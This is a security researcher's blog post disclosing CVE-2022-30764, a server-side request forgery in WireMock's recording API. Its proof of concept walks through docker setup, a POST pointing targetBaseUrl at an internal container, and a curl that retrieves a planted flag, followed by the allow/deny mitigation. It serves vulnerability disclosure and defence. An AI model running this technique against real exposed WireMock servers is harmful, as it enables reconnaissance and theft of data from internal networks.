pheelbert

We're all earthlings

17 May 2022

CVE-2022-30764

References

What is WireMock?

WireMock is a web server that can serve canned responses to pre-determined requests, which is also known as stubbing. You can create test suites that interact with an API but in a more repeatable manner since the given request will always give the expected response. This is more reliable for tests as it doesn’t rely on any state (e.g.: database with production data), or third-party services that are out of the developers’ control.

Discovered vulnerability

In order to deliver this functionality, you need to populate the stub mappings within WireMock. To populate the mapping, you start the recorder by POSTing the targetBaseUrl to http://localhost:8080/__admin/recordings/start. Afterwards, any request that is done to http://localhost:8080 will actually get forwarded to the provided targetBaseUrl so that WireMock knows what the response should be for the given request. Now, performing the same request will always give you the mocked response.

The issue here is that there’s no sanitization done on the provided targetBaseUrl parameter when initiating a recording. This is a well-known vulnerability class that is called an SSRF (server-side request forgery).

Impact

WireMock web servers aren’t intended to be exposed externally but might get left there unknowingly. If by chance it is exposed externally, then an attacker could perform reconnaissance in the internal network and discover another vulnerable service which is reachable from the victim host (e.g.: unexposed port on localhost or any other reachable host’s exposed services). Furthermore, this hypothetical discovered vulnerable service could then be exploited to either leak sensitive data or ultimately perform remote code execution and obtain a foothold into the internal network.

Proof of concept

In this post, I will simply show how I can retrieve a flag on an internal web service.

  1. Set up wiremock

     > docker run -it --rm -p 8080:8080 --name wiremock wiremock/wiremock:2.33.2
     Unable to find image 'wiremock/wiremock:2.33.2' locally
     2.33.2: Pulling from wiremock/wiremock
     8e5c1b329fe3: Pull complete
     b2653742ea1e: Pull complete
     51a3e2623294: Pull complete
     793066ec175f: Pull complete
     51eca40dc4b3: Pull complete
     7d839211fbec: Pull complete
     d78675ff095d: Pull complete
     Digest: sha256:7d02aa4c81ce4b4849f8becd96395c7aa6919b92661a7a7acc1c36759f59f858
     Status: Downloaded newer image for wiremock/wiremock:2.33.2
     SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
     SLF4J: Defaulting to no-operation (NOP) logger implementation
     SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
      /$$      /$$ /$$                     /$$      /$$                     /$$
     | $$  /$ | $$|__/                    | $$$    /$$$                    | $$
     | $$ /$$$| $$ /$$  /$$$$$$   /$$$$$$ | $$$$  /$$$$  /$$$$$$   /$$$$$$$| $$   /$$
     | $$/$$ $$ $$| $$ /$$__  $$ /$$__  $$| $$ $$/$$ $$ /$$__  $$ /$$_____/| $$  /$$/
     | $$$$_  $$$$| $$| $$  \__/| $$$$$$$$| $$  $$$| $$| $$  \ $$| $$      | $$$$$$/
     | $$$/ \  $$$| $$| $$      | $$_____/| $$\  $ | $$| $$  | $$| $$      | $$_  $$
     | $$/   \  $$| $$| $$      |  $$$$$$$| $$ \/  | $$|  $$$$$$/|  $$$$$$$| $$ \  $$
     |__/     \__/|__/|__/       \_______/|__/     |__/ \______/  \_______/|__/  \__/
    
     port:                         8080
     enable-browser-proxying:      false
     disable-banner:               false
     no-request-journal:           false
     verbose:                      false
    
  2. Start internal web server and add a flag in web root

     > docker run --rm --name secret_internal_web_server --detach nginx
     Unable to find image 'nginx:latest' locally
     latest: Pulling from library/nginx
     214ca5fb9032: Pull complete
     f0156b83954c: Pull complete
     5c4340f87b72: Pull complete
     9de84a6a72f5: Pull complete
     63f91b232fe3: Pull complete
     860d24db679a: Pull complete
     Digest: sha256:2c72b42c3679c1c819d46296c4e79e69b2616fa28bea92e61d358980e18c9751
     Status: Downloaded newer image for nginx:latest
     d63f85ef751b976ba0f7b689c5a471f938f6c24574ebd474908fc8ebae4f3c91
    
     > docker exec -it secret_internal_web_server /bin/bash
     # echo "FLAG{WIREMOCK_SSRF}" > /usr/share/nginx/html/flag.txt
    
  3. Get container IPs

     > docker container ls
     CONTAINER ID   IMAGE                      COMMAND                  CREATED          STATUS          PORTS                              NAMES
     d63f85ef751b   nginx                      "/docker-entrypoint.…"   31 seconds ago   Up 30 seconds   80/tcp                             secret_internal_web_server
     ca1419a0c4d4   wiremock/wiremock:2.33.2   "/docker-entrypoint.…"   6 minutes ago    Up 6 minutes    0.0.0.0:8080->8080/tcp, 8443/tcp   wiremock
    
     > docker inspect d63f85ef751b | findstr IPAddress
                 "SecondaryIPAddresses": null,
                 "IPAddress": "172.17.0.3",
                         "IPAddress": "172.17.0.3",
    
  4. Start the recording (either via API or the UI)

     POST /wiremock/__admin/recordings/start HTTP/2
     Host: http://localhost:8080
    
     {
       "targetBaseUrl": "http://172.17.0.3:80"
     }
    
  5. Make requests

     > curl http://localhost:8080/flag.txt
    
    
     StatusCode        : 200
     StatusDescription : OK
     Content           : FLAG{WIREMOCK_SSRF}
    
     RawContent        : HTTP/1.1 200 OK
                         Vary: Accept-Encoding, User-Agent
                         Accept-Ranges: bytes
                         Content-Length: 20
                         Content-Type: text/plain
                         Date: Tue, 17 May 2022 13:54:47 GMT
                         ETag: "6283a887-14"
                         Last-Modified: Tue, 17...
     Forms             : {}
     Headers           : {[Vary, Accept-Encoding, User-Agent], [Accept-Ranges, bytes], [Content-Length, 20], [Content-Type,
                         text/plain]...}
     Images            : {}
     InputFields       : {}
     Links             : {}
     ParsedHtml        : mshtml.HTMLDocumentClass
     RawContentLength  : 20
    
  6. We can now stop the recording and access all recorded requests and their responses at http://localhost:8080/__admin/mappings

As you can see, the flag’s contents were retrieved!

Mitigations

The fix description is as follows (issue link):

Allow WireMock to be configured only to permit proxying (or recording, which uses proxying) to certain addresses, via an allow/deny mechanism.

Allow should be evaluated first, followed by deny.

Thanks

This vulnerability was mainly found by Jasmin Landry while we were working together with Jose Apari Pantigozo and Mathieu Novis on a penetration testing mandate.